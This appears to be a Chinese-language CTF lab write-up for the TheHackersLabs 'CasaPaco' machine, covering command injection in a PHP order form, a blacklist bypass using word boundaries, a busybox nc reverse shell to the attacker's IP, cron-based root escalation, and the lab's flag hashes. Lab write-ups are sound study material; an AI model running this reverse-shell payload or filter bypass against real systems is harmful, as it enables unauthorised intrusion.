TheHackersLabs CasaPaco writeup

信息收集

nmap

image

获取userFlag

image

写hosts,然后再次访问

image

然后到处点点会跳到下面的页面:

image

随便输点东西

image

image

经过我对两个输入框进行测试后发现,dish字段对输入是有过滤的,fuzz一下看一下过滤了哪些字符

image

这些1111的都是被过滤了的,而且这里是过滤了ls的,所以这里很可能是一个命令注入,输入id试试

image

果然是命令注入,读一下llevar.php的源码:(cat被过滤了)

image

整理一下

<?php
        if ($_SERVER["REQUEST_METHOD"] === "POST") {
            $name = htmlspecialchars($_POST["name"]);
            $dish = $_POST["dish"];

            // Filtro para bloquear comandos simples
            $pattern_blacklist = '/\b(whoami|ls|pwd|cat|sh|bash)\b/i';
            if (preg_match($pattern_blacklist, $dish)) {
                die('<p style="color: red;">Error: Pide comida no intentes hackearme. Los callos estan muy ricos.</p>');
            }

            // Permitir solo caracteres y estructuras de comandos más complejas
            $allowed_pattern = '/^[a-zA-Z0-9\s\$\(\)\-\_\.\|]*$/';
            if (!preg_match($allowed_pattern, $dish)) {
                die('<p style="color: red;">Error: Pide comida no intentes hackearme. Los callos estan muy ricos.</p>');
            }

            // Comando vulnerable
            $output = shell_exec("$dish");

            echo '<section class="confirmation">';
            echo '<h3>Pedido confirmado</h3>';
            echo "<p>Gracias, <strong>$name</strong>. Tu pedido de <strong>$dish</strong> estará listo para llevar.</p>";
            echo '<h3>Salida del Comando:</h3>';
            echo "<pre>$output</pre>";
            echo '</section>';
        }
?>

发现过滤了一些命令,定义了只能够输入哪些字符,这里注意到过滤命令那里的正则用到了\b,即匹配单词边界,所以这里可以通过以下方式反弹shell:

busybox nc 192.168.43.180 8888 -ebash

image

拿到shell后,发现可以进入pacogerente用户的家目录,进去后可以拿到userflag

userflag:cd29866c5281684867bf441d1dead7ad(MD5)

获取rootFlag

image

看一下这两个文件

image

通过它们的内容就可以发现fabada.sh应该每分钟都被执行了一次,也就是说这里是有定时任务的,通过pspy64看一下

image

验证了确实存在定时任务,且为root执行的,所以这里就可以利用这个定时任务继续反弹shell了

image

然后就可以拿到root了

rootflag:306efdd1b1e2fa7e58e6967be759da83(MD5)

 

posted @ 2025-08-01 11:04  sky2dawn  阅读(9)  评论(0)    收藏  举报